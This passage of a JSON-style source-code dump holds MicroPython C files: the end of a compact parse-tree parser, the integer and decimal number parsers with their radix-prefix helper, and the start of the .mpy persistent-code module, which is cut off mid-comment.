compiler, and so we shouldn't intern them.\n        qstr qst = MP_QSTR_NULL;\n        if (vstr.len <= MICROPY_ALLOC_PARSE_INTERN_STRING_LEN) {\n            // intern short strings\n            qst = qstr_from_strn(vstr.buf, vstr.len);\n        } else {\n            // check if this string is already interned\n            qst = qstr_find_strn(vstr.buf, vstr.len);\n        }\n        if (qst != MP_QSTR_NULL) {\n            // qstr exists, make a leaf node\n            pt_add_kind_qstr(pt, tok_kind == MP_TOKEN_STRING ? MP_PT_STRING : MP_PT_BYTES, qst);\n        } else {\n            // not interned, make a node holding a pointer to the string/bytes data\n            make_node_string_bytes(parser, pt, tok_kind, vstr.buf, vstr.len);\n        }\n        vstr_clear(&vstr);\n        return true;\n    } else {\n        pt_add_kind_byte(pt, MP_PT_TOKEN, lex->tok_kind);\n    }\n    mp_lexer_to_next(lex);\n    return true;\n}\n\nconst byte *pt_rule_extract_top(const byte *p, const byte **ptop) {\n    assert(*p >= MP_PT_RULE_BASE);\n    p++;\n    vuint_load(&p);\n    size_t nbytes = vuint_load(&p);\n    *ptop = p + nbytes;\n    return p;\n}\n\nconst byte *pt_rule_extract(const byte *p, size_t *rule_id, size_t *src_line, const byte **ptop) {\n    assert(*p >= MP_PT_RULE_BASE);\n    *rule_id = *p++ - MP_PT_RULE_BASE;\n    *src_line = vuint_load(&p);\n    size_t nbytes = vuint_load(&p);\n    *ptop = p + nbytes;\n    return p;\n}\n\nbool pt_is_rule_empty(const byte *p) {\n    const byte *ptop;\n    p = pt_rule_extract_top(p, &ptop);\n    return p == ptop;\n}\n\nmp_parse_tree_t mp_parse(mp_lexer_t *lex, mp_parse_input_kind_t input_kind) {\n\n    // initialise parser and allocate memory for its stacks\n    parser_t parser;\n\n    parser.parse_error = PARSE_ERROR_NONE;\n\n    parser.rule_stack_alloc = MICROPY_ALLOC_PARSE_RULE_INIT;\n    parser.rule_stack_top = 0;\n    parser.rule_stack = m_new_maybe(rule_stack_t, parser.rule_stack_alloc);\n\n    parser.cur_scope_id = 0;\n\n    parser.co_alloc = 0;\n    parser.co_used = 0;\n    parser.co_data = NULL;\n\n    parser.lexer = lex;\n\n    parser.tree.chunk = NULL;\n\n    #if MICROPY_COMP_CONST\n    mp_map_init(&parser.consts, 0);\n    #endif\n\n    // check if we could allocate the stacks\n    if (parser.rule_stack == NULL) {\n        goto memory_error;\n    }\n\n    // work out the top-level rule to use, and push it on the stack\n    size_t top_level_rule;\n    switch (input_kind) {\n        case MP_PARSE_SINGLE_INPUT: top_level_rule = RULE_single_input; break;\n        case MP_PARSE_EVAL_INPUT: top_level_rule = RULE_eval_input; break;\n        default: top_level_rule = RULE_file_input;\n    }\n    push_rule(&parser, lex->tok_line, rules[top_level_rule], 0, 0);\n\n    // parse!\n\n    size_t n, i; // state for the current rule\n    size_t pt_off = 0; // state for the current rule\n    size_t rule_src_line; // source line for the first token matched by the current rule\n    bool backtrack = false;\n    const rule_t *rule = NULL;\n    pt_t *pt = pt_new();\n\n    for (;;) {\n        next_rule:\n        if (parser.rule_stack_top == 0 || parser.parse_error) {\n            break;\n        }\n\n        pop_rule(&parser, &rule, &i, &rule_src_line, &pt_off);\n        n = rule->act & RULE_ACT_ARG_MASK;\n\n        if (i == 0) {\n            pt_off = pt->vv.len;\n        }\n\n        /*\n        // debugging\n        printf(\"depth=%d \", parser.rule_stack_top);\n        for (int j = 0; j < parser.rule_stack_top; ++j) {\n            printf(\" \");\n        }\n        printf(\"%s n=%d i=%d bt=%d\\n\", rule->rule_name, n, i, backtrack);\n        */\n\n        switch (rule->act & RULE_ACT_KIND_MASK) {\n            case RULE_ACT_OR:\n                if (i > 0 && !backtrack) {\n                    goto next_rule;\n                } else {\n                    backtrack = false;\n                }\n                for (; i < n; ++i) {\n                    uint16_t kind = rule->arg[i] & RULE_ARG_KIND_MASK;\n                    if (kind == RULE_ARG_TOK) {\n                        if (lex->tok_kind == (rule->arg[i] & RULE_ARG_ARG_MASK)) {\n                            if (!pt_add_token(&parser, pt)) {\n                                goto syntax_error;\n                            }\n                            goto next_rule;\n                        }\n                    } else {\n                        assert(kind == RULE_ARG_RULE);\n                        if (i + 1 < n) {\n                            push_rule(&parser, rule_src_line, rule, i + 1, pt_off); // save this or-rule\n                        }\n                        push_rule_from_arg(&parser, rule->arg[i]); // push child of or-rule\n                        goto next_rule;\n                    }\n                }\n                backtrack = true;\n                break;\n\n            case RULE_ACT_AND: {\n\n                // failed, backtrack if we can, else syntax error\n                if (backtrack) {\n                    assert(i > 0);\n                    if ((rule->arg[i - 1] & RULE_ARG_KIND_MASK) == RULE_ARG_OPT_RULE) {\n                        // an optional rule that failed, so continue with next arg\n                        pt_add_null(pt);\n                        backtrack = false;\n                    } else {\n                        // a mandatory rule that failed, so propagate backtrack\n                        if (i > 1) {\n                            // already eaten tokens so can't backtrack\n                            goto syntax_error;\n                        } else {\n                            goto next_rule;\n                        }\n                    }\n                }\n\n                // progress through the rule\n                for (; i < n; ++i) {\n                    switch (rule->arg[i] & RULE_ARG_KIND_MASK) {\n                        case RULE_ARG_TOK: {\n                            // need to match a token\n                            mp_token_kind_t tok_kind = rule->arg[i] & RULE_ARG_ARG_MASK;\n                            if (lex->tok_kind == tok_kind) {\n                                // matched token\n                                if (tok_kind == MP_TOKEN_NAME) {\n                                    pt_add_kind_qstr(pt, MP_PT_ID_BASE, qstr_from_strn(lex->vstr.buf, lex->vstr.len));\n                                }\n                                if (i == 0 && ADD_BLANK_NODE(rule)) {\n                                    pt_add_kind_int(pt, MP_PT_SMALL_INT, ++parser.cur_scope_id);\n                                }\n                                mp_lexer_to_next(lex);\n                            } else {\n                                // failed to match token\n                                if (i > 0) {\n                                    // already eaten tokens so can't backtrack\n                                    goto syntax_error;\n                                } else {\n                                    // this rule failed, so backtrack\n                                    backtrack = true;\n                                    goto next_rule;\n                                }\n                            }\n                            break;\n                        }\n                        case RULE_ARG_RULE:\n                        case RULE_ARG_OPT_RULE:\n                        default:\n                            push_rule(&parser, rule_src_line, rule, i + 1, pt_off); // save this and-rule\n                            push_rule_from_arg(&parser, rule->arg[i]); // push child of and-rule\n                            goto next_rule;\n                    }\n                }\n\n                assert(i == n);\n\n                // matched the rule, so now build the corresponding parse_node\n\n                // count number of arguments for the parse_node\n                i = 0;\n                bool emit_rule = false;\n                /*\n                for (size_t x = 0; x < n; ++x) {\n                    if ((rule->arg[x] & RULE_ARG_KIND_MASK) == RULE_ARG_TOK) {\n                        mp_token_kind_t tok_kind = rule->arg[x] & RULE_ARG_ARG_MASK;\n                        if (tok_kind >= MP_TOKEN_NAME) {\n                            emit_rule = true;\n                        }\n                        if (tok_kind == MP_TOKEN_NAME) {\n                            // only tokens which were names are pushed to stack\n                            i += 1;\n                        }\n                    } else {\n                        // rules are always pushed\n                        i += 1;\n                    }\n                }\n                */\n                for (size_t x = 0; x < n; ++x) {\n                    if ((rule->arg[x] & RULE_ARG_KIND_MASK) == RULE_ARG_TOK) {\n                        mp_token_kind_t tok_kind = rule->arg[x] & RULE_ARG_ARG_MASK;\n                        if (tok_kind >= MP_TOKEN_NAME) {\n                            emit_rule = true;\n                        }\n                    }\n                }\n                for (const byte *p = (byte*)pt->vv.buf + pt_off; p < (byte*)pt->vv.buf + pt->vv.len;) {\n                    i += 1;\n                    p = pt_advance(p, true);\n                }\n\n                #if 0 && !MICROPY_ENABLE_DOC_STRING\n                // this code discards lonely statements, such as doc strings\n                if (input_kind != MP_PARSE_SINGLE_INPUT && rule->rule_id == RULE_expr_stmt && peek_result(&parser, 0) == MP_PARSE_NODE_NULL) {\n                    mp_parse_node_t p = peek_result(&parser, 1);\n                    if ((MP_PARSE_NODE_IS_LEAF(p) && !MP_PARSE_NODE_IS_ID(p)) || MP_PARSE_NODE_IS_STRUCT_KIND(p, RULE_string)) {\n                        pop_result(&parser); // MP_PARSE_NODE_NULL\n                        mp_parse_node_t pn = pop_result(&parser); // possibly RULE_string\n                        if (MP_PARSE_NODE_IS_STRUCT(pn)) {\n                            mp_parse_node_struct_t *pns = (mp_parse_node_struct_t *)pn;\n                            if (MP_PARSE_NODE_STRUCT_KIND(pns) == RULE_string) {\n                                m_del(char, (char*)pns->nodes[0], (mp_uint_t)pns->nodes[1]);\n                            }\n                        }\n                        push_result_rule(&parser, rule_src_line, rules[RULE_pass_stmt], 0);\n                        break;\n                    }\n                }\n                #endif\n\n                // always emit these rules, even if they have only 1 argument\n                if (rule->rule_id == RULE_expr_stmt || rule->rule_id == RULE_yield_stmt) {\n                    emit_rule = true;\n                }\n\n                // if a rule has the RULE_ACT_ALLOW_IDENT bit set then this\n                // rule should not be emitted if it has only 1 argument\n                if (rule->act & RULE_ACT_ALLOW_IDENT) {\n                    emit_rule = false;\n                }\n\n                // always emit these rules, and add an extra blank node at the end (to be used by the compiler to store data)\n                if (ADD_BLANK_NODE(rule)) {\n                    emit_rule = true;\n                    // TODO\n                    //add_result_node(&parser, MP_PARSE_NODE_NULL);\n                    //i += 1;\n                }\n\n                // count number of non-null nodes\n                size_t num_not_null = 0;\n                size_t num_trail_null = 0;\n                { const byte *p = (byte*)pt->vv.buf + pt_off;\n                for (size_t x = 0; x < i; ++x) {\n                    if (*p != MP_PT_NULL) {\n                        num_not_null += 1;\n                        num_trail_null = 0;\n                    } else {\n                        num_trail_null += 1;\n                    }\n                    p = pt_advance(p, true);\n                }}\n\n                if (emit_rule || num_not_null != 1) {\n                    // need to add rule when num_not_null == 0 for, eg, atom_paren, testlist_comp_3b\n                    pt_del_tail_bytes(pt, num_trail_null); // remove trailing null nodes, they are store implicitly\n                    pt_ins_rule(&parser, pt, pt_off, rule_src_line, rule, i - num_trail_null);\n                } else {\n                    // single result, leave it on stack\n                    const byte *p = (byte*)pt->vv.buf + pt_off;\n                    for (size_t x = 0; x < i; ++x) {\n                        if (*p == MP_PT_NULL) {\n                            p = pt_del_byte(pt, p);\n                        } else {\n                            p = pt_advance(p, true);\n                        }\n                    }\n                }\n                break;\n            }\n\n            case RULE_ACT_LIST:\n            default: // nothing else\n            {\n                // n=2 is: item item*\n                // n=1 is: item (sep item)*\n                // n=3 is: item (sep item)* [sep]\n                bool had_trailing_sep;\n                if (backtrack) {\n                    list_backtrack:\n                    had_trailing_sep = false;\n                    if (n == 2) {\n                        if (i == 1) {\n                            // fail on item, first time round; propagate backtrack\n                            goto next_rule;\n                        } else {\n                            // fail on item, in later rounds; finish with this rule\n                            backtrack = false;\n                        }\n                    } else {\n                        if (i == 1) {\n                            // fail on item, first time round; propagate backtrack\n                            goto next_rule;\n                        } else if ((i & 1) == 1) {\n                            // fail on item, in later rounds; have eaten tokens so can't backtrack\n                            if (n == 3) {\n                                // list allows trailing separator; finish parsing list\n                                had_trailing_sep = true;\n                                backtrack = false;\n                            } else {\n                                // list doesn't allowing trailing separator; fail\n                                goto syntax_error;\n                            }\n                        } else {\n                            // fail on separator; finish parsing list\n                            backtrack = false;\n                        }\n                    }\n                } else {\n                    for (;;) {\n                        size_t arg = rule->arg[i & 1 & n];\n                        switch (arg & RULE_ARG_KIND_MASK) {\n                            case RULE_ARG_TOK:\n                                if (lex->tok_kind == (arg & RULE_ARG_ARG_MASK)) {\n                                    if (i & 1 & n) {\n                                        // separators which are tokens are not pushed to result stack\n                                        mp_lexer_to_next(lex);\n                                    } else {\n                                        pt_add_token(&parser, pt);\n                                    }\n                                    // got element of list, so continue parsing list\n                                    i += 1;\n                                } else {\n                                    // couldn't get element of list\n                                    i += 1;\n                                    backtrack = true;\n                                    goto list_backtrack;\n                                }\n                                break;\n                            case RULE_ARG_RULE:\n                            rule_list_no_other_choice:\n                                push_rule(&parser, rule_src_line, rule, i + 1, pt_off); // save this list-rule\n                                push_rule_from_arg(&parser, arg); // push child of list-rule\n                                goto next_rule;\n                            default:\n                                assert(0);\n                                goto rule_list_no_other_choice; // to help flow control analysis\n                        }\n                    }\n                }\n                assert(i >= 1);\n\n                // compute number of elements in list, result in i\n                i -= 1;\n                if ((n & 1) && (rule->arg[1] & RULE_ARG_KIND_MASK) == RULE_ARG_TOK) {\n                    // don't count separators when they are tokens\n                    i = (i + 1) / 2;\n                }\n\n                if (i == 1) {\n                    // list matched single item\n                    if (had_trailing_sep) {\n                        // if there was a trailing separator, make a list of a single item\n                        pt_ins_rule(&parser, pt, pt_off, rule_src_line, rule, i);\n                    } else {\n                        // just leave single item on stack (ie don't wrap in a list)\n                    }\n                } else {\n                    pt_ins_rule(&parser, pt, pt_off, rule_src_line, rule, i);\n                }\n                break;\n            }\n        }\n    }\n\n    #if MICROPY_COMP_CONST\n    mp_map_deinit(&parser.consts);\n    #endif\n\n    #if 0\n    pt_show((const byte*)pt->vv.buf, (const byte*)pt->vv.buf + pt->vv.len);\n\n    {\n        size_t n_pool, n_qstr, n_str_data_bytes, n_total_bytes;\n        qstr_pool_info(&n_pool, &n_qstr, &n_str_data_bytes, &n_total_bytes);\n        printf(\"qstr pool: n_pool=\" UINT_FMT \", n_qstr=\" UINT_FMT \", n_str_data_bytes=\"\n            UINT_FMT \", n_total_bytes=\" UINT_FMT \"\\n\",\n            n_pool, n_qstr, n_str_data_bytes, n_total_bytes);\n    }\n    #endif\n\n    mp_obj_t exc;\n\n    if (parser.parse_error) {\n        #if MICROPY_COMP_CONST\n        if (parser.parse_error == PARSE_ERROR_CONST) {\n            exc = mp_obj_new_exception_msg(&mp_type_SyntaxError,\n                \"constant must be an integer\");\n        } else\n        #endif\n        {\n            assert(parser.parse_error == PARSE_ERROR_MEMORY);\n        memory_error:\n            exc = mp_obj_new_exception_msg(&mp_type_MemoryError,\n                \"parser could not allocate enough memory\");\n        }\n        parser.tree.root = NULL;\n    } else if (\n        lex->tok_kind != MP_TOKEN_END // check we are at the end of the token stream\n        || pt->vv.len == 0 // check that we got a node (can fail on empty input)\n        ) {\n    syntax_error:\n        if (lex->tok_kind == MP_TOKEN_INDENT) {\n            exc = mp_obj_new_exception_msg(&mp_type_IndentationError,\n                \"unexpected indent\");\n        } else if (lex->tok_kind == MP_TOKEN_DEDENT_MISMATCH) {\n            exc = mp_obj_new_exception_msg(&mp_type_IndentationError,\n                \"unindent does not match any outer indentation level\");\n        } else if (lex->tok_kind == MP_TOKEN_STRING || lex->tok_kind == MP_TOKEN_BYTES) {\n            exc = mp_obj_new_exception_msg(&mp_type_SyntaxError,\n                \"cannot mix bytes and nonbytes literals\");\n        } else {\n            exc = mp_obj_new_exception_msg(&mp_type_SyntaxError,\n                \"invalid syntax\");\n        }\n        parser.tree.root = NULL;\n    } else {\n        // no errors\n\n        //result_stack_show(parser);\n        //printf(\"rule stack alloc: %d\\n\", parser.rule_stack_alloc);\n        //printf(\"result stack alloc: %d\\n\", parser.result_stack_alloc);\n        //printf(\"number of parse nodes allocated: %d\\n\", num_parse_nodes_allocated);\n\n        // add number of scopes\n        pt_add_kind_int(pt, MP_PT_SMALL_INT, parser.cur_scope_id + 1);\n\n        // get the root parse node that we created\n        //assert(parser.result_stack_top == 1);\n        exc = MP_OBJ_NULL;\n        parser.tree.root = (byte*)pt->vv.buf;\n        parser.tree.co_data = parser.co_data;\n    }\n\n    // free the memory that we don't need anymore\n    m_del(rule_stack_t, parser.rule_stack, parser.rule_stack_alloc);\n    // we also free the lexer on behalf of the caller (see below)\n\n    if (exc != MP_OBJ_NULL) {\n        // had an error so raise the exception\n        // add traceback to give info about file name and location\n        // we don't have a 'block' name, so just pass the NULL qstr to indicate this\n        mp_obj_exception_add_traceback(exc, lex->source_name, lex->tok_line, MP_QSTR_NULL);\n        mp_lexer_free(lex);\n        nlr_raise(exc);\n    } else {\n        mp_lexer_free(lex);\n        return parser.tree;\n    }\n}\n\nvoid mp_parse_tree_clear(mp_parse_tree_t *tree) {\n    mp_parse_chunk_t *chunk = tree->chunk;\n    while (chunk != NULL) {\n        mp_parse_chunk_t *next = chunk->union_.next;\n        m_del(byte, chunk, sizeof(mp_parse_chunk_t) + chunk->alloc);\n        chunk = next;\n    }\n}\n\n#endif // MICROPY_ENABLE_COMPILER && MICROPY_USE_SMALL_HEAP_COMPILER\n"
  },
  {
    "path": "micropython/source/py/parsenum.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdbool.h>\n#include <stdlib.h>\n\n#include \"py/runtime.h\"\n#include \"py/parsenumbase.h\"\n#include \"py/parsenum.h\"\n#include \"py/smallint.h\"\n\n#if MICROPY_PY_BUILTINS_FLOAT\n#include <math.h>\n#endif\n\nSTATIC NORETURN void raise_exc(mp_obj_t exc, mp_lexer_t *lex) {\n    // if lex!=NULL then the parser called us and we need to convert the\n    // exception's type from ValueError to SyntaxError and add traceback info\n    if (lex != NULL) {\n        ((mp_obj_base_t*)MP_OBJ_TO_PTR(exc))->type = &mp_type_SyntaxError;\n        mp_obj_exception_add_traceback(exc, lex->source_name, lex->tok_line, MP_QSTR_NULL);\n    }\n    nlr_raise(exc);\n}\n\nmp_obj_t mp_parse_num_integer(const char *restrict str_, size_t len, int base, mp_lexer_t *lex) {\n    const byte *restrict str = (const byte *)str_;\n    const byte *restrict top = str + len;\n    bool neg = false;\n    mp_obj_t ret_val;\n\n    // check radix base\n    if ((base != 0 && base < 2) || base > 36) {\n        // this won't be reached if lex!=NULL\n        mp_raise_ValueError(\"int() arg 2 must be >= 2 and <= 36\");\n    }\n\n    // skip leading space\n    for (; str < top && unichar_isspace(*str); str++) {\n    }\n\n    // parse optional sign\n    if (str < top) {\n        if (*str == '+') {\n            str++;\n        } else if (*str == '-') {\n            str++;\n            neg = true;\n        }\n    }\n\n    // parse optional base prefix\n    str += mp_parse_num_base((const char*)str, top - str, &base);\n\n    // string should be an integer number\n    mp_int_t int_val = 0;\n    const byte *restrict str_val_start = str;\n    for (; str < top; str++) {\n        // get next digit as a value\n        mp_uint_t dig = *str;\n        if ('0' <= dig && dig <= '9') {\n            dig -= '0';\n        } else {\n            dig |= 0x20; // make digit lower-case\n            if ('a' <= dig && dig <= 'z') {\n                dig -= 'a' - 10;\n            } else {\n                // unknown character\n                break;\n            }\n        }\n        if (dig >= (mp_uint_t)base) {\n            break;\n        }\n\n        // add next digi and check for overflow\n        if (mp_small_int_mul_overflow(int_val, base)) {\n            goto overflow;\n        }\n        int_val = int_val * base + dig;\n        if (!MP_SMALL_INT_FITS(int_val)) {\n            goto overflow;\n        }\n    }\n\n    // negate value if needed\n    if (neg) {\n        int_val = -int_val;\n    }\n\n    // create the small int\n    ret_val = MP_OBJ_NEW_SMALL_INT(int_val);\n\nhave_ret_val:\n    // check we parsed something\n    if (str == str_val_start) {\n        goto value_error;\n    }\n\n    // skip trailing space\n    for (; str < top && unichar_isspace(*str); str++) {\n    }\n\n    // check we reached the end of the string\n    if (str != top) {\n        goto value_error;\n    }\n\n    // return the object\n    return ret_val;\n\noverflow:\n    // reparse using long int\n    {\n        const char *s2 = (const char*)str_val_start;\n        ret_val = mp_obj_new_int_from_str_len(&s2, top - str_val_start, neg, base);\n        str = (const byte*)s2;\n        goto have_ret_val;\n    }\n\nvalue_error:\n    if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n        mp_obj_t exc = mp_obj_new_exception_msg(&mp_type_ValueError,\n            \"invalid syntax for integer\");\n        raise_exc(exc, lex);\n    } else if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_NORMAL) {\n        mp_obj_t exc = mp_obj_new_exception_msg_varg(&mp_type_ValueError,\n            \"invalid syntax for integer with base %d\", base);\n        raise_exc(exc, lex);\n    } else {\n        vstr_t vstr;\n        mp_print_t print;\n        vstr_init_print(&vstr, 50, &print);\n        mp_printf(&print, \"invalid syntax for integer with base %d: \", base);\n        mp_str_print_quoted(&print, str_val_start, top - str_val_start, true);\n        mp_obj_t exc = mp_obj_new_exception_arg1(&mp_type_ValueError,\n            mp_obj_new_str_from_vstr(&mp_type_str, &vstr));\n        raise_exc(exc, lex);\n    }\n}\n\ntypedef enum {\n    PARSE_DEC_IN_INTG,\n    PARSE_DEC_IN_FRAC,\n    PARSE_DEC_IN_EXP,\n} parse_dec_in_t;\n\nmp_obj_t mp_parse_num_decimal(const char *str, size_t len, bool allow_imag, bool force_complex, mp_lexer_t *lex) {\n#if MICROPY_PY_BUILTINS_FLOAT\n    const char *top = str + len;\n    mp_float_t dec_val = 0;\n    bool dec_neg = false;\n    bool imag = false;\n\n    // skip leading space\n    for (; str < top && unichar_isspace(*str); str++) {\n    }\n\n    // parse optional sign\n    if (str < top) {\n        if (*str == '+') {\n            str++;\n        } else if (*str == '-') {\n            str++;\n            dec_neg = true;\n        }\n    }\n\n    const char *str_val_start = str;\n\n    // determine what the string is\n    if (str < top && (str[0] | 0x20) == 'i') {\n        // string starts with 'i', should be 'inf' or 'infinity' (case insensitive)\n        if (str + 2 < top && (str[1] | 0x20) == 'n' && (str[2] | 0x20) == 'f') {\n            // inf\n            str += 3;\n            dec_val = INFINITY;\n            if (str + 4 < top && (str[0] | 0x20) == 'i' && (str[1] | 0x20) == 'n' && (str[2] | 0x20) == 'i' && (str[3] | 0x20) == 't' && (str[4] | 0x20) == 'y') {\n                // infinity\n                str += 5;\n            }\n        }\n    } else if (str < top && (str[0] | 0x20) == 'n') {\n        // string starts with 'n', should be 'nan' (case insensitive)\n        if (str + 2 < top && (str[1] | 0x20) == 'a' && (str[2] | 0x20) == 'n') {\n            // NaN\n            str += 3;\n            dec_val = MICROPY_FLOAT_C_FUN(nan)(\"\");\n        }\n    } else {\n        // string should be a decimal number\n        parse_dec_in_t in = PARSE_DEC_IN_INTG;\n        bool exp_neg = false;\n        mp_float_t frac_mult = 0.1;\n        mp_int_t exp_val = 0;\n        while (str < top) {\n            mp_uint_t dig = *str++;\n            if ('0' <= dig && dig <= '9') {\n                dig -= '0';\n                if (in == PARSE_DEC_IN_EXP) {\n                    exp_val = 10 * exp_val + dig;\n                } else {\n                    if (in == PARSE_DEC_IN_FRAC) {\n                        dec_val += dig * frac_mult;\n                        frac_mult *= MICROPY_FLOAT_CONST(0.1);\n                    } else {\n                        dec_val = 10 * dec_val + dig;\n                    }\n                }\n            } else if (in == PARSE_DEC_IN_INTG && dig == '.') {\n                in = PARSE_DEC_IN_FRAC;\n            } else if (in != PARSE_DEC_IN_EXP && ((dig | 0x20) == 'e')) {\n                in = PARSE_DEC_IN_EXP;\n                if (str < top) {\n                    if (str[0] == '+') {\n                        str++;\n                    } else if (str[0] == '-') {\n                        str++;\n                        exp_neg = true;\n                    }\n                }\n                if (str == top) {\n                    goto value_error;\n                }\n            } else if (allow_imag && (dig | 0x20) == 'j') {\n                imag = true;\n                break;\n            } else {\n                // unknown character\n                str--;\n                break;\n            }\n        }\n\n        // work out the exponent\n        if (exp_neg) {\n            exp_val = -exp_val;\n        }\n\n        // apply the exponent\n        dec_val *= MICROPY_FLOAT_C_FUN(pow)(10, exp_val);\n    }\n\n    // negate value if needed\n    if (dec_neg) {\n        dec_val = -dec_val;\n    }\n\n    // check we parsed something\n    if (str == str_val_start) {\n        goto value_error;\n    }\n\n    // skip trailing space\n    for (; str < top && unichar_isspace(*str); str++) {\n    }\n\n    // check we reached the end of the string\n    if (str != top) {\n        goto value_error;\n    }\n\n    // return the object\n#if MICROPY_PY_BUILTINS_COMPLEX\n    if (imag) {\n        return mp_obj_new_complex(0, dec_val);\n    } else if (force_complex) {\n        return mp_obj_new_complex(dec_val, 0);\n#else\n    if (imag || force_complex) {\n        raise_exc(mp_obj_new_exception_msg(&mp_type_ValueError, \"complex values not supported\"), lex);\n#endif\n    } else {\n        return mp_obj_new_float(dec_val);\n    }\n\nvalue_error:\n    raise_exc(mp_obj_new_exception_msg(&mp_type_ValueError, \"invalid syntax for number\"), lex);\n\n#else\n    raise_exc(mp_obj_new_exception_msg(&mp_type_ValueError, \"decimal numbers not supported\"), lex);\n#endif\n}\n"
  },
  {
    "path": "micropython/source/py/parsenumbase.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/mpconfig.h\"\n#include \"py/misc.h\"\n#include \"py/parsenumbase.h\"\n\n// find real radix base, and strip preceding '0x', '0o' and '0b'\n// puts base in *base, and returns number of bytes to skip the prefix\nsize_t mp_parse_num_base(const char *str, size_t len, int *base) {\n    const byte *p = (const byte*)str;\n    if (len <= 1) {\n        goto no_prefix;\n    }\n    unichar c = *(p++);\n    if ((*base == 0 || *base == 16) && c == '0') {\n        c = *(p++);\n        if ((c | 32) == 'x') {\n            *base = 16;\n        } else if (*base == 0 && (c | 32) == 'o') {\n            *base = 8;\n        } else if (*base == 0 && (c | 32) == 'b') {\n            *base = 2;\n        } else {\n            if (*base == 0) {\n                *base = 10;\n            }\n            p -= 2;\n        }\n    } else if (*base == 8 && c == '0') {\n        c = *(p++);\n        if ((c | 32) != 'o') {\n            p -= 2;\n        }\n    } else if (*base == 2 && c == '0') {\n        c = *(p++);\n        if ((c | 32) != 'b') {\n            p -= 2;\n        }\n    } else {\n        p--;\n    no_prefix:\n        if (*base == 0) {\n            *base = 10;\n        }\n    }\n    return p - (const byte*)str;\n}\n"
  },
  {
    "path": "micropython/source/py/persistentcode.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013-2016 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdint.h>\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n\n#include \"py/reader.h\"\n#include \"py/emitglue.h\"\n#include \"py/persistentcode.h\"\n#include \"py/bc.h\"\n\n#if MICROPY_PERSISTENT_CODE_LOAD || MICROPY_PERSISTENT_CODE_SAVE\n\n#include \"py/smallint.h\"\n\n// The current version of .mpy files\n#define MPY_VERSION (2)\n\n// The feature flags byte encodes the compile-time config options that\n// affect the generate bytecode.\n#define MPY_FEATURE_FLAGS ( \\\n    ((MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE) << 0) \\\n    | ((MICROPY_PY_BUILTINS_STR_UNICODE) << 1) \\\n    )\n// This is a version of the flags that can be configured at runtime.\n#define MPY_FEATURE_FLAGS_DYNAMIC ( \\\n    ((MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE_DYNAMIC) << 0) \\\n    | ((MICROPY_PY_BUILTINS_STR_UNICODE_DYNAMIC) << 1) \\\n    )\n\n#if MICROPY_PERSISTENT_CODE_LOAD || (MICROPY_PERSISTENT_CODE_SAVE && !MICROPY_DYNAMIC_COMPILER)\n// The bytecode will depend on the number of bits in a 